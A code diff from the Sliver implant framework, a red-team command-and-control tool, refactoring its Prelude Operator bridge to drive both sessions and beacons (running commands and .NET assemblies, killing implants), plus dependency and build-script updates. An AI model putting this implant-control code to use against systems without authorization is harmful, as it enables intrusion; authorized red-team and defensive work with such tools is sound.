 		Args:    args,
 		Output:  true,
-		Request: MakeRequest(agentSession.Session),
+		Request: MakeRequest(implantBridge.Implant),
 	})
 
 	if err != nil {
-		return fmt.Sprintf("Error: %s\n", err.Error()), 0, 0
+		return fmt.Sprintf("Error: %s\n", err.Error()), -1, -1
 	}
 
+	// Beacon
+	if execResp.Response != nil && execResp.Response.Async {
+		implantBridge.BeaconCallback(execResp.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, execResp)
+			if err != nil {
+				return
+			}
+			onFinishCallback(string(execResp.Stdout), int(execResp.Status), int(execResp.Pid))
+		})
+		return "", 0, 0
+	}
+
+	// Session
 	if execResp.Response != nil && execResp.Response.Err != "" {
-		return execResp.Response.Err, 0, 0
+		return execResp.Response.Err, SuccessExitStatus, SuccessExitStatus
 	}
 	return string(execResp.Stdout), int(execResp.Status), int(execResp.Pid)
 }
@@ -133,13 +148,13 @@ func splitMessage(message string, splitRune rune) []string {
 	return values
 }
 
-func shutdown(agentSession *AgentSession) (string, int, int) {
+func shutdown(agentSession *OperatorImplantBridge) (string, int, int) {
 	_, err := agentSession.RPC.Kill(context.Background(), &sliverpb.KillReq{
 		Force:   false,
-		Request: MakeRequest(agentSession.Session),
+		Request: MakeRequest(agentSession.Implant),
 	})
 	if err != nil {
 		return err.Error(), ErrorExitStatus, ErrorExitStatus
 	}
-	return fmt.Sprintf("Terminated %s", agentSession.Session.Name), SuccessExitStatus, SuccessExitStatus
+	return fmt.Sprintf("Terminated %s", agentSession.Implant.GetID()), SuccessExitStatus, int(agentSession.Implant.GetPID())
 }

client/prelude/config.go

@@ -2,7 +2,7 @@ package prelude
 
 /*
 	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
+	Copyright (C) 2022  Bishop Fox
 
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -32,7 +32,7 @@ const (
 
 type Configuration interface {
 	ApplyConfig(ac map[string]interface{})
-	BuildBeacon() Beacon
+	BuildBeacon() OperatorBeacon
 }
 
 type AgentConfig struct {
@@ -52,7 +52,7 @@ type AgentConfig struct {
 	Executing      map[string]Instruction
 }
 
-type Beacon struct {
+type OperatorBeacon struct {
 	Name      string
 	Target    string
 	Hostname  string

client/prelude/execute-assembly.go

@@ -22,7 +22,6 @@ import (
 	"context"
 	"errors"
 
-	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/rpcpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 )
@@ -37,16 +36,9 @@ type execasmArgs struct {
 	AppDomain    string `json:"appDomain"`
 }
 
-func execAsm(session *clientpb.Session, rpc rpcpb.SliverRPCClient, asm []byte, args execasmArgs) (output string, err error) {
-	if !isLoaderLoaded(session, rpc) {
-		err = registerLoader(session, rpc)
-		if err != nil {
-			return
-		}
-	}
-
+func execAsm(implant ActiveImplant, rpc rpcpb.SliverRPCClient, asm []byte, args execasmArgs, onFinishCallback func(string, int, int)) (output string, err error) {
 	extResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
-		Request:   MakeRequest(session),
+		Request:   MakeRequest(implant),
 		IsDLL:     args.IsDLL,
 		Process:   args.Process,
 		Arguments: args.Arguments,
@@ -61,6 +53,12 @@ func execAsm(session *clientpb.Session, rpc rpcpb.SliverRPCClient, asm []byte, a
 		return
 	}
 
+	// If Async req, onFinishCallback won't be nil
+	if onFinishCallback != nil {
+		onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
+		return
+	}
+
 	if extResp.Response != nil && extResp.Response.Err != "" {
 		err = errors.New(extResp.Response.Err)
 	}

client/prelude/prelude.go

@@ -2,7 +2,7 @@ package prelude
 
 /*
 	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
+	Copyright (C) 2022  Bishop Fox
 
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -21,7 +21,6 @@ package prelude
 import (
 	"context"
 	"errors"
-	"fmt"
 	"net"
 	"sync"
 
@@ -31,7 +30,7 @@ import (
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 )
 
-var SessionMapper *PreludeSessionMapper
+var ImplantMapper *OperatorImplantMapper
 
 const defaultImplantSleep = 5
 
@@ -42,30 +41,45 @@ type OperatorConfig struct {
 	AESKey      string
 }
 
-type PreludeSessionMapper struct {
-	sessions []*AgentSession
-	conf     *OperatorConfig
+// OperatorImplantMapper maps an OperatorConfig with
+// active Sliver implant sessions/beacons
+type OperatorImplantMapper struct {
+	implantBridges []*OperatorImplantBridge
+	conf           *OperatorConfig
 	sync.Mutex
 }
 
-func InitSessionMapper(conf *OperatorConfig) *PreludeSessionMapper {
-	if SessionMapper == nil {
-		SessionMapper = &PreludeSessionMapper{
-			sessions: make([]*AgentSession, 0),
-			conf:     conf,
-		}
-	}
-	return SessionMapper
+// ActiveImplant exposes common methods between
+// Sliver clientpb.Session and clientpb.Beacon
+// that are required by Operator implants
+type ActiveImplant interface {
+	GetID() string
+	GetHostname() string
+	GetPID() int32
+	GetOS() string
+	GetArch() string
+	GetFilename() string
+	GetReconnectInterval() int64
 }
 
-func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
+func InitImplantMapper(conf *OperatorConfig) *OperatorImplantMapper {
+	if ImplantMapper == nil {
+		ImplantMapper = &OperatorImplantMapper{
+			implantBridges: make([]*OperatorImplantBridge, 0),
+			conf:           conf,
+		}
+	}
+	return ImplantMapper
+}
+
+func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string, func(*clientpb.BeaconTask))) error {
 	var pwd string
 	conn, err := net.Dial("tcp", p.conf.OperatorURL)
 	if err != nil {
 		return err
 	}
 	pwdResp, err := p.conf.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
-		Request: MakeRequest(s),
+		Request: MakeRequest(a),
 	})
 	if err != nil {
 		return err
@@ -73,55 +87,57 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
 	if pwdResp != nil {
 		pwd = pwdResp.Path
 	}
-	// Operator implants have embedded static IDs, but we don't,
-	// so to avoid having multiple sessions showing as one on the Operator
-	// GUI, we need to have a unique name for them.
-	// Plus, having the ID in the name will help the user to make the
-	// correlation.
-	sessName := fmt.Sprintf("%s-%s", s.Name, s.ID)
-	beacon := Beacon{
-		Name:      sessName,
+
+	// Use a default sleep time for sessions,
+	// but respect the one we have for beacons
+	sleepTime := defaultImplantSleep
+	if b, ok := a.(*clientpb.Beacon); ok {
+		sleepTime = int(b.ReconnectInterval)
+	}
+
+	beacon := OperatorBeacon{
+		Name:      a.GetID(),
 		Target:    p.conf.OperatorURL,
-		Hostname:  s.Hostname,
-		Location:  s.Filename,
-		Platform:  s.OS,
+		Hostname:  a.GetHostname(),
+		Location:  a.GetFilename(),
+		Platform:  a.GetOS(),
 		Range:     p.conf.Range,
-		Executors: util.DetermineExecutors(s.OS, s.Arch),
+		Executors: util.DetermineExecutors(a.GetOS(), a.GetArch()),
 		Links:     make([]Instruction, 0),
 		Executing: "",
 		Pwd:       pwd,
-		Sleep:     defaultImplantSleep,
+		Sleep:     int(sleepTime),
 	}
 
 	if p.conf.AESKey == "" {
 		return errors.New("missing AES key")
 	}
+	a.GetID()
 	encryptionKey := p.conf.AESKey
 	agentConfig := AgentConfig{
-		Name:      sessName,
+		Name:      a.GetID(),
 		AESKey:    encryptionKey,
 		Range:     p.conf.Range,
 		Contact:   "tcp",
 		Address:   p.conf.OperatorURL,
-		Pid:       int(s.PID),
+		Pid:       int(a.GetPID()),
 		Executing: make(map[string]Instruction),
-		Sleep:     defaultImplantSleep,
+		Sleep:     int(sleepTime),
 	}
-	util.EncryptionKey = &agentConfig.AESKey
-	agentSession := NewAgentSession(&conn, s, p.conf.RPC, beacon, agentConfig)
+	bridge := NewImplantBridge(&conn, a, p.conf.RPC, beacon, agentConfig, callback)
 	p.Lock()
-	p.sessions = append(p.sessions, agentSession)
+	p.implantBridges = append(p.implantBridges, bridge)
 	p.Unlock()
-	go agentSession.ReceiveLoop()
+	go bridge.ReceiveLoop()
 	return nil
 }
 
-func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
+func (p *OperatorImplantMapper) RemoveImplant(imp ActiveImplant) (err error) {
 	p.Lock()
-	for _, agentSession := range p.sessions {
-		if agentSession.Session.ID == s.ID {
-			if agentSession.Conn != nil {
-				err = (*agentSession.Conn).Close()
+	for _, bridge := range p.implantBridges {
+		if bridge.Implant.GetID() == imp.GetID() {
+			if bridge.Conn != nil {
+				err = (*bridge.Conn).Close()
 			} else {
 				err = errors.New("connection is nil")
 			}
@@ -131,6 +147,6 @@ func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
 	return err
 }
 
-func (p *PreludeSessionMapper) GetConfig() *OperatorConfig {
+func (p *OperatorImplantMapper) GetConfig() *OperatorConfig {
 	return p.conf
 }

client/prelude/util/executors.go

@@ -25,21 +25,19 @@ func DetermineExecutors(platform string, arch string) []string {
 			"executor": {"pwsh", "psh", "cmd", "bof", "exec"},
 		},
 		"linux": {
-			"file":     {"python3", "pwsh", "sh", "bash"},
-			"executor": {"python", "pwsh", "sh", "bash"},
+			"file":     {"python3", "sh", "bash"},
+			"executor": {"python", "sh", "bash"},
 		},
 		"darwin": {
-			"file":     {"python3", "pwsh", "zsh", "sh", "osascript", "bash"},
-			"executor": {"python", "pwsh", "zsh", "sh", "osa", "bash"},
+			"file":     {"python3", "zsh", "sh", "osascript", "bash"},
+			"executor": {"python", "zsh", "sh", "osa", "bash"},
 		},
 	}
 	var executors []string
 	for platformKey, platformValue := range platformExecutors {
 		if platform == platformKey {
 			for i := range platformValue["file"] {
-				// if checkIfExecutorAvailable(platformValue["file"][i]) {
 				executors = append(executors, platformExecutors[platformKey]["executor"][i])
-				// }
 			}
 		}
 	}

docs/Gemfile.lock

@@ -1,7 +1,7 @@
 GEM
   remote: https://rubygems.org/
   specs:
-    activesupport (6.0.4)
+    activesupport (6.0.4.6)
       concurrent-ruby (~> 1.0, >= 1.0.2)
       i18n (>= 0.7, < 2)
       minitest (~> 5.1)
@@ -14,48 +14,54 @@ GEM
       execjs
     coffee-script-source (1.11.1)
     colorator (1.1.0)
-    commonmarker (0.17.13)
-      ruby-enum (~> 0.5)
+    commonmarker (0.23.4)
     concurrent-ruby (1.1.9)
-    dnsruby (1.61.7)
+    dnsruby (1.61.9)
       simpleidn (~> 0.1)
-    em-websocket (0.5.2)
+    em-websocket (0.5.3)
       eventmachine (>= 0.12.9)
-      http_parser.rb (~> 0.6.0)
-    ethon (0.14.0)
+      http_parser.rb (~> 0)
+    ethon (0.15.0)
       ffi (>= 1.15.0)
     eventmachine (1.2.7)
     execjs (2.8.1)
-    faraday (1.5.0)
+    faraday (1.10.0)
       faraday-em_http (~> 1.0)
       faraday-em_synchrony (~> 1.0)
       faraday-excon (~> 1.1)
-      faraday-httpclient (~> 1.0.1)
+      faraday-httpclient (~> 1.0)
+      faraday-multipart (~> 1.0)
       faraday-net_http (~> 1.0)
-      faraday-net_http_persistent (~> 1.1)
+      faraday-net_http_persistent (~> 1.0)
       faraday-patron (~> 1.0)
-      multipart-post (>= 1.2, < 3)
+      faraday-rack (~> 1.0)
+      faraday-retry (~> 1.0)
       ruby2_keywords (>= 0.0.4)
     faraday-em_http (1.0.0)
     faraday-em_synchrony (1.0.0)
     faraday-excon (1.1.0)
     faraday-httpclient (1.0.1)
+    faraday-multipart (1.0.3)
+      multipart-post (>= 1.2, < 3)
     faraday-net_http (1.0.1)
-    faraday-net_http_persistent (1.1.0)
+    faraday-net_http_persistent (1.2.0)
     faraday-patron (1.0.0)
-    ffi (1.15.3)
+    faraday-rack (1.0.0)
+    faraday-retry (1.0.3)
+    ffi (1.15.5)
     forwardable-extended (2.6.0)
     gemoji (3.0.1)
-    github-pages (215)
-      github-pages-health-check (= 1.17.2)
+    github-pages (225)
+      github-pages-health-check (= 1.17.9)
       jekyll (= 3.9.0)
       jekyll-avatar (= 0.7.0)
       jekyll-coffeescript (= 1.1.1)
-      jekyll-commonmark-ghpages (= 0.1.6)
+      jekyll-commonmark-ghpages (= 0.2.0)
       jekyll-default-layout (= 0.1.4)
       jekyll-feed (= 0.15.1)
       jekyll-gist (= 1.5.0)
       jekyll-github-metadata (= 2.13.0)
+      jekyll-include-cache (= 0.2.1)
       jekyll-mentions (= 1.6.0)
       jekyll-optional-front-matter (= 0.3.2)
       jekyll-paginate (= 1.1.0)
@@ -64,22 +70,22 @@ GEM
       jekyll-relative-links (= 0.6.1)
       jekyll-remote-theme (= 0.4.3)
       jekyll-sass-converter (= 1.5.2)
-      jekyll-seo-tag (= 2.7.1)
+      jekyll-seo-tag (= 2.8.0)
       jekyll-sitemap (= 1.4.0)
       jekyll-swiss (= 1.0.0)
-      jekyll-theme-architect (= 0.1.1)
-      jekyll-theme-cayman (= 0.1.1)
-      jekyll-theme-dinky (= 0.1.1)
-      jekyll-theme-hacker (= 0.1.2)
-      jekyll-theme-leap-day (= 0.1.1)
-      jekyll-theme-merlot (= 0.1.1)
-      jekyll-theme-midnight (= 0.1.1)
-      jekyll-theme-minimal (= 0.1.1)
-      jekyll-theme-modernist (= 0.1.1)
-      jekyll-theme-primer (= 0.5.4)
-      jekyll-theme-slate (= 0.1.1)
-      jekyll-theme-tactile (= 0.1.1)
-      jekyll-theme-time-machine (= 0.1.1)
+      jekyll-theme-architect (= 0.2.0)
+      jekyll-theme-cayman (= 0.2.0)
+      jekyll-theme-dinky (= 0.2.0)
+      jekyll-theme-hacker (= 0.2.0)
+      jekyll-theme-leap-day (= 0.2.0)
+      jekyll-theme-merlot (= 0.2.0)
+      jekyll-theme-midnight (= 0.2.0)
+      jekyll-theme-minimal (= 0.2.0)
+      jekyll-theme-modernist (= 0.2.0)
+      jekyll-theme-primer (= 0.6.0)
+      jekyll-theme-slate (= 0.2.0)
+      jekyll-theme-tactile (= 0.2.0)
+      jekyll-theme-time-machine (= 0.2.0)
       jekyll-titles-from-headings (= 0.5.3)
       jemoji (= 0.12.0)
       kramdown (= 2.3.1)
@@ -87,19 +93,19 @@ GEM
       liquid (= 4.0.3)
       mercenary (~> 0.3)
       minima (= 2.5.1)
-      nokogiri (>= 1.10.4, < 2.0)
+      nokogiri (>= 1.12.5, < 2.0)
       rouge (= 3.26.0)
       terminal-table (~> 1.4)
-    github-pages-health-check (1.17.2)
+    github-pages-health-check (1.17.9)
       addressable (~> 2.3)
       dnsruby (~> 1.60)
       octokit (~> 4.0)
-      public_suffix (>= 2.0.2, < 5.0)
+      public_suffix (>= 3.0, < 5.0)
       typhoeus (~> 1.3)
     html-pipeline (2.14.0)
       activesupport (>= 2)
       nokogiri (>= 1.4)
-    http_parser.rb (0.6.0)
+    http_parser.rb (0.8.0)
     i18n (0.9.5)
       concurrent-ruby (~> 1.0)
     jekyll (3.9.0)
@@ -120,12 +126,12 @@ GEM
     jekyll-coffeescript (1.1.1)
       coffee-script (~> 2.2)
       coffee-script-source (~> 1.11.1)
-    jekyll-commonmark (1.3.1)
-      commonmarker (~> 0.14)
-      jekyll (>= 3.7, < 5.0)
-    jekyll-commonmark-ghpages (0.1.6)
-      commonmarker (~> 0.17.6)
-      jekyll-commonmark (~> 1.2)
+    jekyll-commonmark (1.4.0)
+      commonmarker (~> 0.22)
+    jekyll-commonmark-ghpages (0.2.0)
+      commonmarker (~> 0.23.4)
+      jekyll (~> 3.9.0)
+      jekyll-commonmark (~> 1.4.0)
       rouge (>= 2.0, < 4.0)
     jekyll-default-layout (0.1.4)
       jekyll (~> 3.0)
@@ -136,6 +142,8 @@ GEM
     jekyll-github-metadata (2.13.0)
       jekyll (>= 3.4, < 5.0)
       octokit (~> 4.0, != 4.4.0)
+    jekyll-include-cache (0.2.1)
+      jekyll (>= 3.7, < 5.0)
     jekyll-mentions (1.6.0)
       html-pipeline (~> 2.3)
       jekyll (>= 3.7, < 5.0)
@@ -155,50 +163,50 @@ GEM
       rubyzip (>= 1.3.0, < 3.0)
     jekyll-sass-converter (1.5.2)
       sass (~> 3.4)
-    jekyll-seo-tag (2.7.1)
+    jekyll-seo-tag (2.8.0)
       jekyll (>= 3.8, < 5.0)
     jekyll-sitemap (1.4.0)
       jekyll (>= 3.7, < 5.0)
     jekyll-swiss (1.0.0)
-    jekyll-theme-architect (0.1.1)
-      jekyll (~> 3.5)
-      jekyll-seo-tag (~> 2.0)
-    jekyll-theme-cayman (0.1.1)
-      jekyll (~> 3.5)
-      jekyll-seo-tag (~> 2.0)
-    jekyll-theme-dinky (0.1.1)
-      jekyll (~> 3.5)
-      jekyll-seo-tag (~> 2.0)
-    jekyll-theme-hacker (0.1.2)
+    jekyll-theme-architect (0.2.0)
       jekyll (> 3.5, < 5.0)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-leap-day (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-cayman (0.2.0)
+      jekyll (> 3.5, < 5.0)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-merlot (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-dinky (0.2.0)
+      jekyll (> 3.5, < 5.0)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-midnight (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-hacker (0.2.0)
+      jekyll (> 3.5, < 5.0)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-minimal (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-leap-day (0.2.0)
+      jekyll (> 3.5, < 5.0)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-modernist (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-merlot (0.2.0)
+      jekyll (> 3.5, < 5.0)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-primer (0.5.4)
+    jekyll-theme-midnight (0.2.0)
+      jekyll (> 3.5, < 5.0)
+      jekyll-seo-tag (~> 2.0)
+    jekyll-theme-minimal (0.2.0)
+      jekyll (> 3.5, < 5.0)
+      jekyll-seo-tag (~> 2.0)
+    jekyll-theme-modernist (0.2.0)
+      jekyll (> 3.5, < 5.0)
+      jekyll-seo-tag (~> 2.0)
+    jekyll-theme-primer (0.6.0)
       jekyll (> 3.5, < 5.0)
       jekyll-github-metadata (~> 2.9)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-slate (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-slate (0.2.0)
+      jekyll (> 3.5, < 5.0)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-tactile (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-tactile (0.2.0)
+      jekyll (> 3.5, < 5.0)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-time-machine (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-time-machine (0.2.0)
+      jekyll (> 3.5, < 5.0)
       jekyll-seo-tag (~> 2.0)
     jekyll-titles-from-headings (0.5.3)
       jekyll (>= 3.3, < 5.0)
@@ -213,35 +221,33 @@ GEM
     kramdown-parser-gfm (1.1.0)
       kramdown (~> 2.0)
     liquid (4.0.3)
-    listen (3.5.1)
+    listen (3.7.1)
       rb-fsevent (~> 0.10, >= 0.10.3)
       rb-inotify (~> 0.9, >= 0.9.10)
     mercenary (0.3.6)
-    mini_portile2 (2.6.1)
+    mini_portile2 (2.8.0)
     minima (2.5.1)
       jekyll (>= 3.5, < 5.0)
       jekyll-feed (~> 0.9)
       jekyll-seo-tag (~> 2.1)
-    minitest (5.14.4)
+    minitest (5.15.0)
     multipart-post (2.1.1)
-    nokogiri (1.12.5)
-      mini_portile2 (~> 2.6.1)
+    nokogiri (1.13.6)
+      mini_portile2 (~> 2.8.0)
       racc (~> 1.4)
-    octokit (4.21.0)
+    octokit (4.22.0)
       faraday (>= 0.9)
       sawyer (~> 0.8.0, >= 0.5.3)
     pathutil (0.16.2)
       forwardable-extended (~> 2.6)
     public_suffix (4.0.6)
-    racc (1.5.2)
-    rb-fsevent (0.11.0)
+    racc (1.6.0)
+    rb-fsevent (0.11.1)
     rb-inotify (0.10.1)
       ffi (~> 1.0)
     rexml (3.2.5)
     rouge (3.26.0)
-    ruby-enum (0.9.0)
-      i18n
-    ruby2_keywords (0.0.4)
+    ruby2_keywords (0.0.5)
     rubyzip (2.3.2)
     safe_yaml (1.0.5)
     sass (3.7.4)
@@ -261,14 +267,14 @@ GEM
       ethon (>= 0.9.0)
     tzinfo (1.2.9)
       thread_safe (~> 0.1)
-    tzinfo-data (1.2021.1)
+    tzinfo-data (1.2021.5)
       tzinfo (>= 1.0.0)
     unf (0.1.4)
       unf_ext
-    unf_ext (0.0.7.7)
-    unicode-display_width (1.7.0)
+    unf_ext (0.0.8)
+    unicode-display_width (1.8.0)
     wdm (0.1.1)
-    zeitwerk (2.4.2)
+    zeitwerk (2.5.4)
 
 PLATFORMS
   ruby

go-assets.sh

@@ -20,8 +20,8 @@ set -e
 
 # Creates the static go asset archives
 
-GO_VER="1.17.7"
-GARBLE_VER="1.17.5"
+GO_VER="1.18.3"
+GARBLE_VER="1.18.0"
 
 GO_ARCH_1="amd64"
 GO_ARCH_2="arm64"
@@ -102,9 +102,9 @@ cp -vv darwin-go.zip $OUTPUT_DIR/darwin/$GO_ARCH_2/go.zip
 rm -rf ./go
 rm -f darwin-go.zip go$GO_VER.darwin-$GO_ARCH_2.tar.gz
 
-# --- Linux --- 
-curl --output go$GO_VER.linux-amd64.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_1.tar.gz
-tar xvf go$GO_VER.linux-amd64.tar.gz
+# --- Linux (amd64) --- 
+curl --output go$GO_VER.linux-$GO_ARCH_1.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_1.tar.gz
+tar xvf go$GO_VER.linux-$GO_ARCH_1.tar.gz
 cd go
 rm -rf $BLOAT_FILES
 rm -rf ./src
@@ -118,6 +118,22 @@ cp -vv linux-go.zip $OUTPUT_DIR/linux/$GO_ARCH_1/go.zip
 rm -rf ./go
 rm -f linux-go.zip go$GO_VER.linux-$GO_ARCH_1.tar.gz
 
+# --- Linux (arm64) --- 
+curl --output go$GO_VER.linux-$GO_ARCH_2.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_2.tar.gz
+tar xvf go$GO_VER.linux-$GO_ARCH_2.tar.gz
+cd go
+rm -rf $BLOAT_FILES
+rm -rf ./src
+rm -f ./pkg/tool/linux_$GO_ARCH_2/doc
+rm -f ./pkg/tool/linux_$GO_ARCH_2/tour
+rm -f ./pkg/tool/linux_$GO_ARCH_2/test2json
+cd ..
+zip -r linux-go.zip ./go
+mkdir -p $OUTPUT_DIR/linux/$GO_ARCH_2
+cp -vv linux-go.zip $OUTPUT_DIR/linux/$GO_ARCH_2/go.zip
+rm -rf ./go
+rm -f linux-go.zip go$GO_VER.linux-$GO_ARCH_2.tar.gz
+
 # --- Windows --- 
 curl --output go$GO_VER.windows-amd64.zip https://dl.google.com/go/go$GO_VER.windows-$GO_ARCH_1.zip
 unzip go$GO_VER.windows-amd64.zip
@@ -140,8 +156,8 @@ echo "-----------------------------------------------------------------"
 
 echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
 curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
-file $OUTPUT_DIR/linux/$GO_ARCH_1/garble
-
+echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
+curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
 echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
 curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
 echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1"

go.mod

@@ -2,9 +2,6 @@ module github.com/bishopfox/sliver
 
 go 1.17
 
-// fix wgctrl requiring old wireguard
-replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
-
 replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.4
 
 require (
@@ -13,63 +10,51 @@ require (
 	github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
 	github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
 	github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
-	github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
-	github.com/Microsoft/go-winio v0.4.16 // indirect
 	github.com/alecthomas/chroma v0.8.1
 	github.com/cheggaaa/pb/v3 v3.0.5
 	github.com/desertbit/columnize v2.1.0+incompatible
 	github.com/desertbit/go-shlex v0.1.1
 	github.com/desertbit/grumble v1.1.1
 	github.com/fatih/color v1.12.0
-	github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
 	github.com/gofrs/uuid v3.3.0+incompatible
-	github.com/golang/protobuf v1.5.2 // indirect
 	github.com/google/uuid v1.3.0
 	github.com/gorilla/mux v1.8.0
 	github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
-	github.com/hashicorp/go-multierror v1.1.1 // indirect
 	github.com/jedib0t/go-pretty/v6 v6.2.4
 	github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
 	github.com/lesnuages/go-winio v0.4.19
 	github.com/lesnuages/snitch v0.6.0
-	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
-	github.com/mattn/go-isatty v0.0.13 // indirect
-	github.com/mattn/go-sqlite3 v1.14.9
+	github.com/mattn/go-sqlite3 v1.14.12
 	github.com/miekg/dns v1.1.35
-	github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
+	github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
 	github.com/pquerna/otp v1.3.0
-	github.com/sergi/go-diff v1.1.0 // indirect
-	github.com/sirupsen/logrus v1.7.0
+	github.com/shirou/gopsutil/v3 v3.21.10
+	github.com/sirupsen/logrus v1.8.1
 	github.com/spf13/cobra v1.1.1
 	github.com/stretchr/testify v1.7.0
-	golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
-	golang.org/x/net v0.0.0-20210614182718-04defd469f4e
-	golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1
-	golang.org/x/text v0.3.6
-	golang.zx2c4.com/wireguard v0.0.20200121
-	golang.zx2c4.com/wireguard/wgctrl v0.0.0-20200609130330-bd2cb7843e1b
-	google.golang.org/genproto v0.0.0-20210406143921-e86de6bf7a46 // indirect
-	google.golang.org/grpc v1.37.0
-	google.golang.org/protobuf v1.26.0
+	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
+	golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
+	golang.org/x/net v0.0.0-20220225172249-27dd8689420f
+	golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
+	golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
+	golang.org/x/text v0.3.7
+	golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
+	golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
+	google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
+	google.golang.org/protobuf v1.27.1
 	gopkg.in/AlecAivazis/survey.v1 v1.8.8
-	gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
 	gorm.io/driver/mysql v1.0.3
 	gorm.io/driver/postgres v1.0.5
 	gorm.io/driver/sqlite v1.1.3
 	gorm.io/gorm v1.21.14
-	inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
-)
-
-require (
-	github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
-	github.com/shirou/gopsutil/v3 v3.21.10
-	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
-	golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1
-	modernc.org/sqlite v1.14.3
+	gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
+	modernc.org/sqlite v1.16.0
 )
 
 require (
 	github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
+	github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
+	github.com/Microsoft/go-winio v0.5.1 // indirect
 	github.com/StackExchange/wmi v1.2.1 // indirect
 	github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
 	github.com/VividCortex/ewma v1.1.1 // indirect
@@ -82,10 +67,13 @@ require (
 	github.com/desertbit/closer/v3 v3.1.2 // indirect
 	github.com/desertbit/readline v1.5.1 // indirect
 	github.com/dlclark/regexp2 v1.2.0 // indirect
+	github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
 	github.com/go-ole/go-ole v1.2.6 // indirect
 	github.com/go-sql-driver/mysql v1.5.0 // indirect
+	github.com/golang/protobuf v1.5.2 // indirect
 	github.com/google/btree v1.0.1 // indirect
 	github.com/hashicorp/errwrap v1.1.0 // indirect
+	github.com/hashicorp/go-multierror v1.1.1 // indirect
